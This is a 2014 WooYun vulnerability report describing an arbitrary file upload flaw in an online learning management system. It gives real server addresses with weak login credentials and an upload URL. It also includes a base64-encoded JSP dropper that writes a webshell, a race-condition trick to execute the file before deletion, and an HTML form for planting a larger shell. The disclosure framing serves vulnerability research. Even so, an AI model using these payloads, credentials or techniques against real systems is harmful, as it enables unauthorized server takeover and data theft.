某通用型在线学习管理系统存在任意文件上传漏洞(另一种奇葩姿势)

漏洞详情

披露状态:

2014-01-08: 细节已通知厂商并且等待厂商处理中
2014-01-12: 厂商已经确认,细节仅向厂商公开
2014-01-15: 细节向第三方安全合作伙伴开放
2014-01-22: 细节向核心白帽子及相关领域专家公开
2014-02-01: 细节向普通白帽子公开
2014-02-21: 细节向实习白帽子公开
2014-04-08: 细节向公众公开

简要描述:

上一发:
http://www.wooyun.org/bugs/wooyun-2014-048190
前面写错标题了,希望改改@xsser

详细说明:

可以做学习用……不过还是要低权限账号登录先

漏洞证明:

首先需要一个低权限账号登录(反正没有验证码,设定好简单密码,按数字直接丢去暴了都没有问题)

给出几个默认或简单密码的:

http://58.214.233.113:8800/lmsv5/

00041013/123456

00041014/123456

00041012/123456



http://60.216.4.162:9091/lmsv5/

107649/111111

107648/111111

107640/111111



上传链接:

http://58.214.233.113:8800/lmsv5/user!editImportUser.action?IA_DEPTID=912

上传到uploads根目录,文件名没有修改

realpath = realpath + File.separator + this.fileUpload.getFileFileName()[0];



上传一个文件名为123.jsp的文件(本地怎么过js就自己再看看了),内容如下:

<%java.io.FileWriter w = new java.io.FileWriter(application.getRealPath("/1234.jsp"));w.write(new String((new sun.misc.BASE64Decoder()).decodeBuffer(("PCVqYXZhLmlvLkZpbGVXcml0ZXIgdyA9IG5ldyBqYXZhLmlvLkZpbGVXcml0ZXIoYXBwbGljYXRpb24uZ2V0UmVhbFBhdGgoIi8xMjM0NS5qc3AiKSk7dy53cml0ZShyZXF1ZXN0LmdldFBhcmFtZXRlcigiYyIpKTt3LmNsb3NlKCk7JT4="))));w.close();%>



上面的意思就是写一个1234.jsp文件,内容为

<%java.io.FileWriter w = new java.io.FileWriter(application.getRealPath("/12345.jsp"));w.write(request.getParameter("c"));w.close();%>





随便挂一个软件,一直访问http://58.214.233.113:8800/lmsv5/uploads/123.jsp

一定要那么做,因为:

File file = new File(filePath);
if ((file.isFile()) && (file.exists()))
file.delete();



配一个比如暴力破解的规则(反正可以重复不断访问上面这个链接就OK):

image001.png





先strart。

然后上传文件

image002.png



image004.png



改下后缀就OK。成功上传返回这样的页面:

image006.png



image008.png





有部分404,但是已经有多个请求是200了。

所以1234.jsp应该生成了,而且是在根目录



利用小马传大的

<form action="http://58.214.233.113:8800/lmsv5/1234.jsp" method="post">
<textarea name=c cols=120 rows=10 width=45></textarea><BR><center><br>
<input type=submit value="提交">
</form>



image010.png





成功在根目录生成12345.jsp

再去看看uploads目录,没有123.jsp了(按时间排序的):

image012.png



漏洞有点奇葩,过程有点麻烦,但是还是有一点点学习价值的

修复方案:

限制文件上传的类型

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-01-12 22:30

厂商回复:

CNVD确认并复现所述多个情况,已经由CNVD直接联系软件生产厂商用友新道科技有限公司处置。

最新状态:

暂无


漏洞评价: